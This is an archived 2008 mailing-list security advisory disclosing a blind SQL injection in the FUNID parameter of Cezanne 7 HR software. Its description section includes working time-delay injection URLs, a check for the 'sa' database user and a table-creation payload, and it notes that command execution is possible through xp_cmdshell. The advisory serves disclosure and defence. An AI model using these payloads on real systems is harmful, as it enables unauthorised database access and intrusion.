| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <64948.213.98.246.11.1208201759.squirrel@mail.s21sec.com> Date: Mon, 14 Apr 2008 21:35:59 +0200 (CEST) From: "S21sec labs" <s21seclabs@...sec.com> To: full-disclosure@...ts.grok.org.uk, bugtraq@...urityfocus.com Subject: S21SEC-043-en:Cezanne SW Blind SQL Injection ############################################################## - S21Sec Advisory - ############################################################## Title: Cezanne SW (login required) Blind SQL Injection ID: S21SEC-043-en Severity: High History: 02.Jan.2008 Vulnerability discovered Authors: Juan de la Fuente Costa (jfuente@...sec.com) Fco Javier Puerta Rubio (fjpuerta@...sec.com) URL: http://www.s21sec.com/avisos/s21sec-43-en.txt [ SUMMARY ] Cezanne develops Human Capital Management Software. This Software provides leading-edge Human Capital Management solutions that help companies better develop, manage, reward and retain their most important asset - their people. Cezanne include applications for employee performance management, career & succession planning, training & development, people management, recruitment, salary analysis & compensation planning, pay review, employee survey and organization charting. [ AFFECTED VERSIONS ] This vulnerability has been tested in Cezanne 7. [ SCENARIO ] The test has been done in the following environment: MS Windows Server 2003 Enterprise Edition, IIS 6.0, MS SQL Server 2005 [ DESCRIPTION ] S21sec has discovered a vulnerability in Cezanne 7 that allows injecting SQL code in text variables. This issue allows SQL code execution in the application server. The vulnerable param is "FUNID" Some examples of the exploitation: URL[ NEEDS LOGIN ]: https://www.somesite.es/cezanneweb/CFLookup.asp?FUNID=7302015;waitfor%20delay%20'0:0:20';--&InIFrame=1 STRING:;waitfor%20delay%20'0:0:20';-- URL[ NEEDS LOGIN ]: https://www.somesite.es/cezanneweb/CznCommon/CznCustomContainer.asp?FUNID=7302031;waitfor%20delay%20'0:0:05';-- STRING:;waitfor%20delay%20'0:0:05';-- To get more information about the system or create tables: If the following request, it takes a delay of ten seconds, the database user is not 'sa': https://www.somesite.es/cezanneweb/CznCommon/CznCustomContainer.asp?FUNID=7302031;if (select user) <> 'sa' waitfor delay '0:0:10';-- In MS SQL Server 2005, xp_cmdshell is disable by default. But We can create tables with the following request: https://www.somesite.es/cezanneweb/CznCommon/CznCustomContainer.asp?FUNID=7302031;CREATE TABLE tabla_test_blindSQL_intrusion (clave int IDENTITY (100,1) PRIMARY KEY, nombre nvarchar (50));waitfor%20delay%20'0:0:10';-- If xp_cmdshell is enable, It is possible execute command line instructions. [ WORKAROUND ] Contact with Cezanne Software at: http://www.cezannesw.com/ [ ACKNOWLEDGMENTS ] This vulnerability has been discovered and researched by: - Juan de la Fuente Costa S21Sec - Fco Javier Puerta Rubio S21Sec Special thanks to Vicente Diaz Saez. You can find the last version of this warning at: http://www.s21sec.com/es/avisos/s21sec-043-en.txt http://www.s21sec.com http://blog.s21sec.com _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists